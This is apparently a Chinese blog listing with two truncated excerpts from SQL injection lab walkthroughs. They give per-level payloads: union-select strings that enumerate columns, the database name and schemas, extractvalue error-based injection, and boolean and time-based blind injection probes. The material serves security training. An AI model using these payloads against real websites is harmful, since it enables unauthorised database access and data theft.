摘要：
联合 ?id=1' order by 3 --+ 最后得出是3列 ?id=-1' union select1,2,3 --+ ?id=-1' union select1,2,database() --+ ?id=-1' union select 1,2,group_concat(schema_nam 阅读全文
摘要：
第一关 1' 第二关 1 第三关 1') 第四关 1'') 第五关 1' + extractvalue报错注入 第六关 1 " + extractvalue报错注入 第七关 1')) and ascii 或者 1')) and substr 布尔盲注 第八关布尔盲注 第九关?id=1' and sl 阅读全文